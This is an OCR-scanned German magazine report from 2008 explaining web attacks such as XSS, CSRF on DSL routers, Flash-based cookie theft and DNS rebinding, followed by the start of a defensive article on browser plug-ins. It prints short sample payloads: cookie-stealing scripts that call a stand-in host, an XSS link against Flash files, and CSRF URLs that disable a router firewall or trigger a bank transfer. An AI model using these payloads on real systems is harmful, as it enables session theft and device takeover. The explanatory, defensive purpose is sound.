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Daniel Bachfeld

Dunkle Flecken

Neuartige Angriffe iberrumpeln Webanwender

Herkdmmliche Angriffe per infizierten Mail-Anhang und
Schwachstellen in Windows haben fast ausgedient. Mit ausgefeilten
Tricks versuchen die Kriminellen heute Webseiten fiir ihre Zwecke
zu missbrauchen - und zwar die, bei denen man am wenigsten

mit Angriffen rechnet.
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rwarte das Unerwartete,

sonst wirst du es nicht fin-

den”, wusste schon der
griechische Philosoph Heraklit
rund 500 Jahre vor Christi Ge-
burt. Gerade in Bezug auf die Ge-
fahren im Internet wird es immer
wichtiger, sich auf Angriffe aus
allen Richtungen gefasst zu ma-
chen. Selbst wer sich in Sicher-
heit wiegt, weil er nur auf be-
kannten, vermeintlich sicheren
Seiten surft, ist nicht vor den At-
tacken der Internet-Mafia gefeit.

Lange Zeit galt: Wer keine
Schmuddel- oder Tauschborsen-
seiten ansurft, Online-Banking-
Seiten nur Uber Bookmarks an-
surft, keine ausfihrbaren Anhdn-
ge in Mails doppelklickt und stets
alle Sicherheits-Updates fur sei-
nen Webbrowser installiert, hat
wenig zu beflirchten. Zudem
lassen Sicherheitsfunktionen in
Windows-Betriebssystemen wie
Schutz vor Buffer Overflows, Spei-
cherverwirfelung und Benutzer-
kontensteuerung unter Vista
(User Account Control, UAC) viele
herkémmliche Angriffe verpuf-
fen. Doch die Cyber-Kriminellen
liegen nicht auf der faulen Haut
und denken sich immer neue
Tricks aus, um trotzdem PCs
unter ihre Kontrolle zu bekom-
men und Daten auszuspahen.

Im Wesentlichen sind die
Ziele die gleichen geblieben:
Diebstahl von Passwortern, Kre-
ditkartennummern und PINs
und TANs sowie der Aufbau von
Botnetzen. Um das zu erreichen,
machen die Ganoven sich die
Techniken zunutze, die dem
Web zum Sprung auf Version 2.0
verholfen haben: Ajax, Flash und
Konsorten. Zudem greifen sie
immer 6fter Anwendungen an,
die bis dato nicht als typisches
Einfallstor in den PC galten, etwa
den lange Zeit als sicherheits-
unkritisch eingeschétzten Adobe
Reader oder Apples QuickTime.

Eines der groften Sicherheits-
probleme im Web ist seit einigen
Jahren das so genannte Cross-
Site-Scripting, bei dem Angreifer
ihren Opfern praparierte Java-
Scripte im Browser unterschie-
ben, um zu einer bestimmten
Seite gehorige Zugangsdaten
oder Cookies auszulesen und
diese fur ihre Zwecke zu miss-
brauchen. Was genau die Be-
triger mit gestohlenen Daten
machen, erldutert der Artikel
Unter Verdacht” auf Seite 92. Die
Schwierigkeit fir den Angreifer
lag bislang darin, sein JavaScript
im Kontext der Seite ausfiihren zu

't 2008, Heft 11

Angreifer

Report | Cybercrime: Bedrohungen

Anwender

1) Angreifer sendet Link per Mail

Bank

http://www.sichere-bank.de/action?<script>sende Cookie</script>

2) Anwender klickt auf Link und landet auf Bankenseite
3) Bank sendet <script>sende Cookie</script> an Anwender

4) Skript lduft im Browser und sendet Cookie an Angreifer

lassen, von der er das Passwort
begehrte (siehe Kasten Seite 86).
Daflir musste er in der Regel eine
Sicherheitsliicke auf dem Server
finden und einen praparierten
Link mit eingebettetem Code an
sein Opfer schicken, das diesen
auch noch anklickte [1]. Ein typi-
scher praparierter Link enthielt
dann etwa folgenden Code
<script>document.location("http://cookie-
klau.de/klau.cgi?"-+document.cookie); </scri
pt>, um ein Cookie an den Server
des Angreifers zu senden.

XSS-Wurm

Das Mitmach-Web mit seinen
vielen Social-Networking, Foren-
und Blog-Seiten macht die Sache
fur den Angreifer einfacher: Viele
erlauben die Gestaltung eigener
Seiten, teilweise mit aktiven In-
halten. So lasst sich der schad-
liche Inhalt direkt in den Seiten
platzieren. Zudem muss ein An-
greifer nicht mehr mit verdéchtig
aussehenden Links hantieren, es
genlgt, seinem Opfer einen Link
zu einer Seite bei einem der gro-
Ben, vermeintlich vertrauenswiir-
digen Mylrgendwas-Anbieter zu
schicken.

Auf diese Weise fingen sich
zuletzt mehrere hunderttausend
Anwender der vornehmlich im
sidamerikanischen Raum ge-
nutzten Social-Networking-Seite
Orkut einem JavaScript-Wurm
ein, der sich von Nutzerprofil zu
Nutzerprofil schlangelte. Selbst
Anwendungen, bei denen man
zundchst keinen direkten Kon-
takt mit Webseiten vermuten
wirde, sind flr solche Attacken
mit versteckt eingebettetem
Code anfallig. So musste Skype
den Zugriff seines gleichnami-
gen Clients auf die Videoportale
Metacafe und MyVideo sperren,
da Angreifer in die Meta-Daten

der Videos Skripte einbetten
konnten. Zur Darstellung der Vi-
deos nutzt Skype den Internet
Explorer, der die JavaScripte zu
allem Ungluick auch noch im lo-
kalen Kontext, also mit den
hochsten Rechten, ausfihrte.

Da Cross-Site-Scripting mitt-
lerweile epidemische Ausmale
erreicht, versuchen die grof3en
Anbieter von Web-2.0-Seiten das
Einbetten von aktiven Inhalten
in ihre Nutzerseiten durch Java-
Script-Filter und andere MaR-
nahmen zu verhindern. Aller-
dings fallen einzelne Funktionen
immer wieder durch das Raster
und bleiben ungeschutzt. Auch
Google hat des Ofteren mit
Cross-Site-Scripting-Lucken auf
Google-Mail und Google Docs zu
kampfen. Noch bis vor kurzem
war es etwa bei Googles Spread-
sheets moglich, in die Tabellen-
felder JavaScript-Code hineinzu-
schreiben, der beim Aufruf durch
andere eingeladene Nutzer de-
ren Google-Cookie auslas. Da
Google dienstelibergreifend ein
einziges Sitzungs-Cookie nutzt,
hatte ein Angreifer dieses nach
einem erfolgreichen Diebstahl
zur Anmeldung an allen wei-
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Weist der Webserver eine Schwachstelle auf, kann
der Angreifer mittels Cross-Site-Scripting bosartiges
JavaScript in den Browser des Anwenders
schmuggeln und ausfiihren.

teren Anwendungen missbrau-
chen kénnen.

Trickkiste

Doch findige Angreifer kénnen
mit eingeschleustem JavaScript
nicht nur auf einem PC gespei-
cherte Cookies auslesen, sie kon-
nen dargestellte Inhalte von Sei-
ten komplett oder teilweise aus-
tauschen, die Eingabe des Opfers
in Formularfelder Gberwachen
oder sogar eigene Formulare an
den Server schicken. Das geht so
weit, dass ein Angreifer quasi in
Echtzeit den Browser seines Op-
fers als Proxy missbrauchen kann,
um gleichzeitig auf dem Server
mitzusurfen, auf dem das Opfer
gerade angemeldet ist. Das Ganze
funktioniert Uiber einen in Java-
Script geschriebenen XSS-Proxy
in einem versteckten IFrame,
der die Verbindung mit einem
Server des Betrugers aufrechter-
halt und Kommandos entgegen-
nimmt [2, 3]. Im Kontext des Op-
fers kann er auf diese Weise etwa
in einem Online-Shop eigene
Bestellungen aufgeben.

Mit ausgefeilten Methoden
ldsst sich in JavaScript auch ein
Port-Scanner implementieren,
mit dem Hacker aus der Ferne
beispielsweise das Intranet eines
Unternehmens ausforschen kon-
nen, sofern ein Mitarbeiter in die
Falle tappt [4]. Mit den gewon-
nenen Ergebnissen planen die
Angreifer ihr weiteres Vorgehen.

Sorgen bereitet Sicherheits-
spezialisten auch die unter
Ajax benutzte XMLHttpRequest-
Schnittstelle (XHR), mit der Ja-
vaScript weitere Inhalte oder
Daten von einem Webserver in

gt | climand bepn | Epape | S e Deemes | Mamas weiiegn ises hmmins S | bbb |

R e

TRy Te————l T

Mit dem XSS-Proxy xs-sniper sieht der Angreifer all das,
was das Opfer gerade im Browser sieht.
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Teilen dynamisch nachlddt, ohne
dazu die gesamte Seite neu auf-
bauen zu mussen, wie es bei rei-
nen HTML-Seiten der Fall ist. Da
die Schnittstelle asynchron ar-
beitet, muss ein JavaScript nicht
erst auf eine Antwort warten,
sondern kann weitere Aufgaben
erledigen. Webseiten wie Goo-
gle Maps wdren ohne diese
Schnittstelle undenkbar. Aller-
dings wird damit der Verkehr
zwischen Browser und Server fir
den Anwender unkontrollierbar.
Typische Anzeichen einer Brow-
ser-Aktivitat wie etwa der wach-
sende Ladebalken in der Status-
zeile sind bei Ajax ohne Funk-
tion. In der Folge kann auch der
von Angreifern in einen Browser
eingeschmuggelte Code noch
unauffdlliger agieren. Zusatzlich
kann ein Skript mit XHR Teile des
HTTP-Headers selbst definieren,
bevor es den Request losschickt.
Fur Hacker ist das die ideale
Méglichkeit, um den Referrer
und andere Parameter zu fédl-
schen. Eine nédhere Analyse der
Sicherheit und der Probleme von
Ajax liefert auch der Artikel in [5].

Boser Blitz

Da bosartige JavaScripte auf der
Fahndungsliste mittlerweile ganz
oben stehen und Webseiten-
betreiber sowie Netzadmins in
Unternehmen nach und nach
Schutzfunktionen wie JavaScript-
Filter einflihren, weichen die Kri-
minellen auf andere Wege aus.
Dazu gehort unter anderem der
Flash Player, der spatestens beim
ersten neugierigen Besuch von
YouTube auf dem Rechner eines
Anwenders landet - also mittler-
weile eigentlich auf jedem Rech-
ner zu finden ist. Wer vermutet,
dass der Flash Player nur Film-
chen abspielen kann, tduscht
sich gewaltig. Das friiher haupt-
sachlich fur interaktive Animatio-
nen genutzte Shockwave-Flash-
Format (SWF) hat es in sich. Flash
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Mailserver

Anwender

unterstitzt ActionScript, das ei-
nen dhnlichen Funktionsumfang
wie JavaScript bietet. Action
Script kann zudem zusatzlich
JavaScript-Funktionen aufrufen
und so - wie sollte es anders sein
- auf Cookies zugreifen. Der Coo-
kie-Klau sieht mit ActionScript
beispielsweise so aus:

getURL("javascript:document.location 7
(‘http://cookie-klau.de/klau.cgi?'+ 7
document.cookie)");,

Der Flash Player ist fur den Inter-
net Explorer, Firefox, Safari und
Opera als Plug-in unter Win-
dows, Linux und Mac OS X ver-
flgbar, womit die Kriminellen
nicht nur auf ein plattformuber-
greifendes Instrument zuriick-
greifen konnen. Sie koénnen
zudem unter dem Radar der her-
kommlichen Filter fliegen, da
diese noch kein Flash analysie-
ren konnen. Ein Blog, in dem die
Nutzer zwar kein JavaScript,
dafiir aber Flash in ihre Eintréage
einbetten durfen, kann also
durchaus gefdhrlich werden. Ac-
tionScript erlaubt es wie XHR,
vor dem Versenden eines HTTP-
Requests viele Parameter im
HTTP-Header selbst festzulegen
- und zu verfalschen.
ActionScripte sind normaler-
weise nicht einfach so einsehbar,
weshalb man sie mit speziellen
Decompilern aus dem Flash-Ap-
plet extrahieren muss, um sie
analysieren zu kénnen. Dies ma-
chen bisher aber tibliche automa-

Tests mit JavaScript-
Portscannern sind
nicht immer beson-
ders zuverléssig. Die
Demo zeigt aber, dass
sie sich prinzipiell
zum Ausspahen inter-
ner Infrastrukturen
eignen.

DSL-Router

Bei Cross Site Request Forgery muss der Anwender
am Router angemeldet sein und parallel im Internet
surfen. Unter Umstéanden erfordern einige Anderungen

aber gar kein aktive Sitzung, sodass CSRF auch ohne
Hilfestellung des Anwenders funktioniert.

1) Anwender loggt sich auf Router ein
2) Anwender 6ffnet empfangene
HTML-Mail

3) Mail 16st GET-Request auf Router aus

tische Filter nicht. So ist es etwa
moglich, in préparierten eBay-
Auktionen spezielle Flash-Applets
nachzuladen und Bietern Anmel-
denamen und Passwort zu steh-
len. eBay kontrolliert zwar nach
eigenen Angaben Auktionen auf
bosartigen Code, offenbar tun sie
dies aber nicht fur Flash, wie die
Verbraucherschiitzer von falle-
internet.de im Marz dieses Jahres
vorgefihrt haben.

Noch dramatischer wird die
Sache, wenn Sicherheitslicken
wie Buffer Overflows in Flash ins
Spiel kommen, mit denen Angrei-
fer mittels praparierter Flash-Ap-
plets Wirmer und Bots ins Sys-
tem schleusen und starten kon-
nen. Dabei muss das Applet dem
Anwender nicht einmal auffallen,
es kann vollig unscheinbar in eine
Seite eingebettet sein. Da das
Browser-Plug-in ein Flash-Applet
standardmaBig automatisch star-
tet, reicht der Besuch einer prapa-
rierten Webseite, um den Rech-
ner zu infizieren. Friiher kannte
man solche Probleme nur vom
Internet Explorer. Zuletzt besei-
tigte die Flash-Version 9.0.124.0
von Anfang April zwei derartige
kritische Llcken.

Dazu gesellen sich Fehler in
verbreiteten Flash-Authoring-
Tools wie Adobe Dreamweaver,
Adobe Acrobat Connect, Info-
Soft FusionCharts und Techs-
mith Camtasia, die SWF-Dateien
generieren, die anfallig fur
Cross-Site-Scripting sind. Die Si-
cherheitsexperten von Google
und der Firma iSEC fanden Ende
des Jahrs 2007 heraus, dass
sich beim Aufruf einer Flash-An-
wendung JavaScript als Para-
meter Ubergeben und im Kon-
text der besuchten Seite aus-
fihren lasst. Ein praparierter
Link zum Ausnutzen einer XSS-
Schwachstelle im Dreamweaver
sah beispielsweise so aus:

http://www.example.com/main.swf? 7
baseurl=asfunction:getURL java 7
script:alert(1)//

Angreifer hétten diesen Link per
Mail verschicken und dadurch
beispielsweise Cookies und Pass-
worter auslesen oder Eintrdge in
Blogs platzieren und Kommenta-
re abgeben koénnen. Unter den
betroffenen Seiten waren nach
Angaben der Spezialisten viele
Regierungs- und Online-Banking-
Websites. Zwar sind diese Fehler
in den meisten Tools nun beho-
ben, allerdings missen die Web-
master ihre bestehenden Flash-
Applets mit den neuen Versionen
abermals Ubersetzen, um sich des
Problems zu entledigen. Dass das
wirklich Uberall geschehen ist,
darf man anzweifeln.

Angriffe auf Router

Von Angriffen aus dem Internet
auf DSL-Router von Privatan-
wender war bis vor kurzem eher
selten zu horen, da die meisten
Eindringversuche in der Regel
schon an dem integrierten Pa-
ketfilter respektive der Firewall
scheitern. Doch mit Cross Site
Request Forgery (CSRF) pro-
grammieren Bosewichte den
Router mit Hilfe ihres Opfers um,
ohne dass dieses etwas davon
merkt. Bei CSRF machen sich An-
greifer die triviale Implementie-
rung von Authentifizierungs-
funktionen in Routern zunutze,
sodass ein praparierter Link
eines Angreifers in einer beliebi-
gen Webseite ausreicht, um das
lokale Gerat zu manipulieren.
Der Link

https://192.168.1.1/apply.cgi?submit_7
button=Firewall&change_action=& 7
action=Apply&block_wan=1&block_7
loopback=0&multicast_pass=0&ident_7
pass=0&block_cookie=0&block_java=7
0&block_proxy=08&block_activex=7
0&filter=off&_block_wan=18&_block_;
multicast=0&_ident_pass=1

schaltet beispielsweise die Fire-
wall im Linksys-Router WRT54GL
aus. Fur den Router sieht es so
aus, als hatte der Anwender den
Link selbst aufgerufen.
Voraussetzung fir einen erfol-
greichen Angriff ist jedoch, dass
das Opfer gerade mit dem Web-
browser auf dem Router einge-
loggt ist, etwa zur Konfiguration,
und parallel dazu in einem ande-
ren Fenster die praparierte Web-
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seite ansurft. Kennt der Angreifer
das Passwort oder steht es noch
auf den Werkseinstellungen,
muss das Opfer allerdings nicht
einmal eingeloggt sein, damit
der Trick Uber Bande funktio-
niert. Mittels JavaScript kann die
bosartige Webseite die Authen-
tifizierung einfach selber durch-
fuhren. Wie das beim DSL-Router
Speedport W701V von T-Home
funktioniert, zeigt das Uber den
Soft-Link verfligbare Skript.

Dass solche Angriffe bereits
stattfinden, zeigt ein Fall in Me-
xiko, bei dem mehreren hundert
Anwendern die DNS-Eintrédge im
Router verbogen wurden und
auf einen Nameserver von Betri-
gern zeigten. Anfragen fir Ban-
kenseiten beantwortete der Ser-
ver mit IP-Adressen, die auf Phi-
shing-Seiten flihrten. Das perfide
daran: Selbst wer seine Online-
Banking-Seiten nur Uber Book-
marks aufruft oder die Adresse
im Browser manuell eingibt, lan-
det auf solch einer gefélschten
Seite. Bei dieser auch Drive-By
Pharming genannten Attacke
mussten die Opfer nicht mal

Name

1) www.example.com

2)91.9191.91

Anwender 3 ) ruft Webserver auf

4 ) HTML

Firewall

6 ) www.example.com

Anwender

7 ) 192.168.2.1
Das in Schritt (4) ausgelieferte JavaScript von www.example.com lduft

nach Schritt (7) im Kontext der lokalen Ressource

Beim DNS-Rebindung schiebt der Angreifer seinem Opfer
wahrend einer Sitzung eine neue Adresse unter.
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eine praparierte Webseite aufru-
fen, der Link war in einer HTML-
Mail als Image-Tag versteckt.
Viele Router unterstitzen Uni-
versal Plug and Play (UPnP), mit
der eine auf einem PC laufende
Anwendung beispielsweise Port-
Forwarding aktivieren kann, um
aus dem Internet erreichbar zu
sein. Dass dies zu Sicherheitspro-
blemen fuihren kann, weil ein infi-
zierter Client so die Firewall
durchbohren kann, ist seit Lange-
rem bekannt. Neu ist jedoch, dass
auch JavaScript tiber XMLHttpRe-
quests mit dem UPnP-Interface
kommunizieren und daruber Ein-
stellungen vornehmen kann.
Daflir muss ein Angreifer nur sei-
nen Code in Webseiten verste-
cken. Einen Haken hat die Sache
jedoch: Da das JavaScript vom
Server des Tunichtguts stammt,
kann es eigentlich nicht mit dem
Router verhandeln, weil die Same
Origin Policy (SOP, siehe Kasten)
den Zugriff nicht zuldsst. Damit
komplexere Modifikationen, die
sich nicht Uber eine einzige stati-
sche URL durchfihren lassen,
trotzdem funktionieren, muss das

't 2008, Heft 11
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JavaScript im Kontext des Routers
laufen, also fir den Browser so
aussehen, als stamme es von die-
sem. Hier kommt wieder Cross-
Site-Scripting ins Spiel, beispiels-
weise im Authentifizierungsdia-
log des Routers. Konkret wiesen
die SpeedTouch-Produkte des
Herstellers Thomson diese teuf-
lische Mischung aus UPnP und
XSS bis zu einem Firmware-Up-
date auf [6].

Webanwendungen

Von Manipulationen mittels Cross
Site Request Forgery sind nicht
nur Router, sondern grundsatz-
lich alle Anwendungen mit einer
Weboberfliche bedroht, also
auch Content-Management-Sys-
teme, Webportale, P2P-Clients
und so weiter. Dort ist zudem die
Wahrscheinlichkeit viel grofer,
dass ein Nutzer gerade einge-
loggt ist und in einem zweiten
Fenster etwa mit Google recher-
chiert. Fir das verbreitete CM-
System Joomla kursierte im Fe-
bruar 2008 eine CSRF-Demo, die
einen weiteren Super-Admin zur
Nutzerdatenbank hinzufligte.

Sogar Online-Banking-Seiten
haben unter Umstianden mit
dem Problem zu kdmpfen, wenn
bestimmte Aktionen wie Uber-
weisungen nicht zusatzlich gesi-
chert sind. Insbesondere bei aus-
léndischen Banken, die oft keine
Authentifizierung mit einer TAN
fur Transaktionen erfordern,
konnte eine Zeile wie <img src=
“http://unsichere-bank.eu/transfer?betrag=
5000&konto=schmidt”> in einer un-
scheinbaren Webseite versteckt
monetdren Kahlschlag verursa-
chen.

Angepinnt

Die Same Origin Policy ist zwar
eine hohe Hurde, sie verldsst sich
aber im Wesentlichen nur auf die
Richtigkeit des Server-Namens.
Schafft es ein Angreifer, die Na-
mensaufldsung zu manipulieren,
so kann er seine Skripte etwa im
Kontext eines Unternehmensnet-
zes laufen lassen und interne
Strukturen ausspionieren. Bei
dieser DNS-Rebinding genann-
ten Attacke muss der Angreifer
einen Nameserver kontrollieren
konnen. Zusatzlich muss er sein
Opfer auf eine Webseite (www.
example.com) locken, die das
schadliche JavaScript enthalt.
Bei der ersten DNS-Anfrage des
Browser liefert der vom Angreifer
kontrollierte Nameserver die offi-
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Same Origin Policy

Die Same Origin Policy (SOP)
stellt ein wesentliches Sicher-
heitselement in allen moder-
nen Browsern und Webanwen-
dungen zum Schutz vor Angrif-
fen dar. Aus Sicherheitsgriin-
den durfen JavaScript und
ActionScript nur dann auf Ob-
jekte einer Webseite zugreifen,
wenn sie aus derselben Do-
main stammen, beispielsweise
auf Elemente, Cookies, XML-
Dateien und HTML-Dateien.
Die Same Origin Policy soll ver-
hindern, dass in Formulare ein-
gegebene Daten oder Cookies
in die falschen Hande geraten.
SOP gilt indes nicht fur nor-
male GET-Requests zum Nach-
laden von Inhalten, etwa Bilder
von anderen Webseiten. Daher
stellt Cross Site Request For-
gery keine Verletzung der SOP
dar.

Hauptziel der Angreifer ist es,
ihren Code in der gewiinschten
Origin auszufuhren, wofr sie
mit Tricks wie XSS und DNS-Re-

zielle Adresse seines Servers zu-
rick und der Browser ladt die
Seite mit dem Skript. Allerdings
hat der Angreifer seine Antwort
im Time-To-Live-Feld als nur fur
kurze Zeit gtiltig markiert.

Nach der ersten Anfrage &n-
dert er im Nameserver die IP-
Adresse fur www.example.com
auf eine Adresse im Netzwerk sei-
nes Opfers, beispielsweise 192.
168.2.1. Alle folgenden Anfragen
des Browser beantwortet der
Nameserver mit dieser Adresse.
Fur ein laufendes JavaScript hat
sich indes nichts gedndert, der
Servername ist derselbe, der Port
und das Protokoll ebenfalls. Aller-
dings ist das Skript nun in der
Lage, mit dem unter der Adresse
192.168.2.1 residierendem Gate-
way oder Server zu kommunizie-
ren oder auf bereits gedffnete
Seiten im Browser von diesem
Server zuzugreifen und Inhalte zu
manipulieren. Dieses einfache
Angriffsszenario funktioniert in
der Realitdt jedoch nicht so ohne
Weiteres, da Browser die Zuord-
nung von Name zu IP-Adresse
Uiber den gesamten Verlauf einer
Session cachen, egal was im TTL-
Feld steht. Die zweite Anfrage
bleibt einfach aus. Diese DNS-Pin-
ning genannte Funktion verhin-
dert zundchst DNS-Rebinding.

Zugriffserlaubnis

URL Zugriff Grund

http://www.example.com/dir/index.html v
http://www.example.com/inner/index.html v/
http://www.example.com:81/dir2/index.html -
https://www.example.com/dir2/index.html
http://en.example.com/dir2/index.html
http://example.com/dir2/index.html =
v erlaubt = nicht erlaubt

binding aufwarten. Die Origin
besteht aus dem Domain-
Namen, dem Protokoll und
dem Port. Nur wenn alle drei
Ubereinstimmen, ist die SOP er-
fullt und der Browser gewéhrt
dem Skript den Zugriff auf das
Dokument. Der Vergleich mit
http://www.example.com/dir/
seite.html ergibt exemplarisch
folgende Ergebnisse:

Da fur SOP die Unterverzeich-
nisse keine Rolle spielen, kann
unter anderem in fremden Pro-
filen auf Social-Networking-Sei-
ten verstecktes JavaScript ohne
Probleme auf das eigene Profil

Mit einem einfachen Trick he-
belt man DNS-Pinning jedoch
aus: Per Firewall blockiert der An-
greifer nach dem ersten Zugriff
alle weiteren Verbindungsversu-
che zu www.example.com. Damit
wird der Browser trotz Cache ge-
zwungen, eine zweite Anfrage zu
starten, um eine moglicherweise
neue Adresse von www.example.
com zu erfahren. Dieses Anti-
DNS-Pinning getaufte Verfahren
lieBe sich wiederum verhindern,
indem man die Host-Header der
HTTP-Anfragen kontrolliert. Aber
auch hierfur gibt es wieder
Gegenmafinahmen, beispiels-
weise in dem man die Header per
XMLHttpRequests falscht. Dieses
Spiel wird auf absehbare Zeit
weitergefiihrt, wobei DNS-Rebin-
ding-Attacken derzeit noch eher
selten stattfinden.

Vertrauter Feind

Abseits von allen Skripting-Tricks
lauern weiterhin die auf Buffer
Overflows beruhenden Sicher-
heitsliicken in Browser und An-
wendungen, durch die Hacker
die PCs ihrer Opfer mit Trojanern
und Bots zu infizieren versuchen.
Allerdings gehen die Bésewichte
dabei nun weitaus subtiler vor
als noch vor einigen Jahren. Ziel

gleicher Server, gleicher Port, gleiches Protokoll
gleicher Server, gleicher Port, gleiches Protokoll
gleicher Server, anderer Port

gleicher Server, anderes Protokoll

anderer Server

anderer Server

und das Cookie zugreifen. Aus
diesen Grinden versuchen An-
bieter wie MySpace, StudiVzZ,
Facebook und andere, das Ein-
betten aktiver Inhalte in ihre
Seiten zu verhindern.

Das proprietare ActionScript
muss sich im Rahmen des
Flash-Player ebenfalls der SOP
unterwerfen, leider funktioniert
dies nicht immer. Adobe muss-
te in den vergangenen Mona-
ten mehrfach Updates verof-
fentlichen, um grundsatzliche
Designfehler und Schwachstel-
len bei der Verifizierung der
SOP zu beseitigen.

ist es dabei, populdre Webseiten
als Sprungbrett zu benutzen.
Unter anderem dringen sie daftr
auf MySpace mit gestohlenen
Passwortern in die Profile be-
kannter Stars und Rockbands ein
und hinterlassen in der Seite
einen versteckten IFrame. Dieser
zeigt auf einen Server der Krimi-
nellen, der den eigentlichen
Schadcode verbreitet. Surft ein
Besucher die manipulierte My-
Space-Seite mit einem verwund-
baren Browser an, so ladt der
Browser den Code nach und infi-
ziert so den Rechner.

Die von den Angreifern be-
nutzten Werkzeuge inklusive Ser-
ver sind als komplette Webat-
tack-Toolkit-Suite fur wenige
hundert Euro etwa unter dem
Namen MPack auf einschlagigen
Seiten im Internet zu erwerben.
Bekannt wurde MPack wahrend
eines grof3 angelegten Angriffs
Mitte des vergangenen Jahres,
bei dem Zehntausende von Inter-
netauftritten einem Massenhack
zum Opfer fielen. In der Folge
wiesen alle geknackten Auftritte
eine einzige zusatzliche Zeile auf,
die in einem IFrame Kontakt mit
einem MPack-Server aufnahm.
Darunter auch Seiten von US-
amerikanischen Regierungsbe-
hoérden und Universitaten.
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Wer Googles Warnhinweis im Ergebnis ignoriert und trotzdem
den Link anklickt, wird abermals gewarnt.

Zudem machen sich die Krimi-
nellen die Vermaschung der Sei-
ten zu Nutze: Kaum ein Internet-
portal, auf dem nicht per Werbe-
banner fuir Produkte oder Dienst-
leistungen geworben wiirde. Um
flexibler zu sein, laden die Portale
die Werbung beispielsweise als
Flash-Banner von Servern der
Werbeagenturen nach. Leider
sind diese Server oftmals weniger
gut gesichert, sodass die Hacker
dort leichteres Spiel beim Ein-
bruch haben. Mit einem infizier-
ten Banner erzielen sie aber den
gleichen durchschlagenden Ef-
fekt, als hatten sie das Portal
selbst gehackt. Auch heise on-
line wurde bereits Opfer einer
solchen Manipulation, bei der
ein Flash-Werbebanner weiteren

Code nachlud, der Lesern ein
fragwirdiges Produkt aufdran-
gen wollte. Die Angreifer gingen
dabei sogar so geschickt zu
Werke, dass der Code nur dann
lief, wenn die IP-Adresse nicht aus
Hannover stammte. Damit woll-
ten die Geschdftemacher verhin-
dern, dass Mitarbeiter von Heise
wahrend der obligatorischen
Tests solcher Banner auf die Ma-
nipulation aufmerksam wurden.
Darlber hinaus zieht Google
mit seiner Suchmaschine Krimi-
nelle an wie das Licht die Mot-
ten. Mit allen moglichen Tricks
versuchen sie, ihre Seiten in den
Google-Ergebnissen ganz vorne
unterzubringen. Unter anderem
nutzen sie die Eigenheiten der
lokalen Suchfunktionen groR3er

Report | Cybercrime: Bedrohungen

Internetportale aus, die eingege-
benen Anfragen cachen, um ein
hoéheres Google-Ranking zu er-
zielen.

Weil immer mehr dubiose
Links in den Treffern von Google
landen, versucht der Suchma-
schinenbetreiber seit geraumer
Zeit GegenmafBnahmen zu er-
greifen. In einem der ersten
Schritte warnt Google nun bei
Ergebnissen, die zu gefahrlichen
Seiten fuhren kdnnen mit dem
Hinweis ,Diese Website kann
Ihren Computer beschadigen.”

Ausblick

Leider ist im Internet nichts mehr
isoliert zu betrachten, alles ist
irgendwie miteinander verknlipft
- und das wissen die Betriiger fir
sich zu nutzen. Das sollte aller-
dings kein Grund sein, den Kopf
in den Sand zu stecken und gar
nicht mehr ins Internet zu gehen.
Mit einigen MaBnahmen kann
der Anwender sich und seinen PC
vor den Angriffen schiitzen oder
sie zumindest so erschweren,
dass der Grof3teil davon ins Leere

lauft. Wie man das am einfachs-
ten macht, erklart der Artikel auf
den folgenden Seiten. (dab)
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Mehr Licht!

Selbstschutz vor den neuen Bedrohungen aus dem Netz

Mit kostenlosen Plug-ins fiir Browser kann der Anwender neuartige Angriffe aus
dem Web abwehren. Ist doch mal ein Schadling durchgerutscht, lasst er sich mit
zumeist kostenlosen Tools aufspiiren und entfernen.

amit einem die bosen An-
greifer mit ihren Tricks

die Lust aufs Surfen nicht
verleiden, gilt es, MaBnahmen
zum Verrammeln des PC zu er-
greifen. In vielen Féllen hilft es
bereits, einige Einstellungen in
der installierten Software oder
im Router zu andern. Wenn das
Kind schon im Brunnen liegt,
bieten sich zumeist kostenlose
Tools an, die beim Erkennen und
Abwehren von Angriffen helfen.
Da die im vorherigen Artikel
beschriebenen neuartigen An-
griffe fast ausschlieBlich Gber das
Web erfolgen, muss der Anwen-
der die Barrikaden in erster Linie
im Browser errichten. Einfachste
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MaRnahme, um sich etwa vor der
Plage Cross-Site-Scripting in
samtlichen Variationen zu schit-
zen: JavaScript abschalten. Leider
schaltet man damit auch quasi
das Internet ab, da so gut wie alle
Seiten JavaScript zur Bedienung
voraussetzen. Also gilt es, das
Abschalten etwas feinfuhliger
vorzunehmen und Uber eine Po-
sitivliste JavaScript nur noch in
bestimmten Seiten zuzulassen.

Gegen Tollwut

Das NoScript-Plug-in fir Mozilla-
basierte Browser wie Firefox leis-
tet dabei gute Dienste (siehe
Soft-Link). Es verhindert nicht nur

das Ausfihren von JavaScript,
sondern unterdrickt auch Java-
Applets, Flash und Microsofts Sil-
verlight. Dartiber hinaus ist es in
der Lage, mittels regulérer Aus-
dricke klassische Cross-Site-
Scripting-Angriffe auf erlaubten
Seiten zu erkennen und zu ver-
hindern, also solche, bei denen
JavaScript in einer URL eingebet-
tet ist. Allerdings gibt es einige
Seiten, bei denen nach Angaben
der NoScript-Entwickler die Anti-
XSS-Protection falschlicherweise
anspringt, beispielsweise bei
Amazon und eBay. Fur solche
Falle kann der Anwender mit re-
guldren Ausdrticken Ausnahmen
formulieren.

Daruber hinaus kann No-
Script auch IFrames aus Web-
seiten ausfiltern und nur bei Er-
laubnis durch den Anwender
offnen. Es ist empfehlenswert,
diese in der Standardeinstellung
deaktivierte Option anzustellen
- in unseren Tests gab es damit
keine Probleme auf Webseiten.

NoScript bringt eine sehr
knappe Liste von vertrauens-
wirdigen Webseiten mit, die
aktive Inhalte ausfuhren durfen.
Alle weiteren Seiten muss man
selbst hinzufiigen, was sich aber
recht einfach tber den Dialog
beim erstmaligen Ansurfen ei-
ner Seite nach der Installation
des Plug-ins erledigen lasst. Blo-
ckierte Skripte und Plug-ins las-
sen sich jederzeit auch temporar
freischalten, was etwa bei Flash-
Filmchen ganz praktisch ist oder
bei Webseiten, die JavaScript
zur Navigation benétigen. Zu
sicher sollte man sich mit No-
Script aber dennoch nicht fiih-
len. Es kann nicht vor XSS-An-
griffen schiitzen, wenn der Code
in erlaubte Seiten eingebettet
ist. Dartber hinaus ist das Plug-
in mittlerweile so beliebt und
verbreitet, dass sich Hacker be-
reits mit dem Austricksen des
Tools beschaftigen. Vor bosarti-
gem ActionScript in zugelasse-
nen Flash-Applets schitzt es
ebenfalls nicht.

Das Plug-in FlashBlock fur
Mozilla-basierte Webbrowser ist
quasi eine abgespeckte Version
von NoScript, die nur die Ausfih-
rung von Flash-Applets auf Web-
seiten verhindert. Dabei ersetzt
es die Animation durch eine
Platzhalter-Grafik, die beim Ankli-
cken das jeweilige Applet frei-
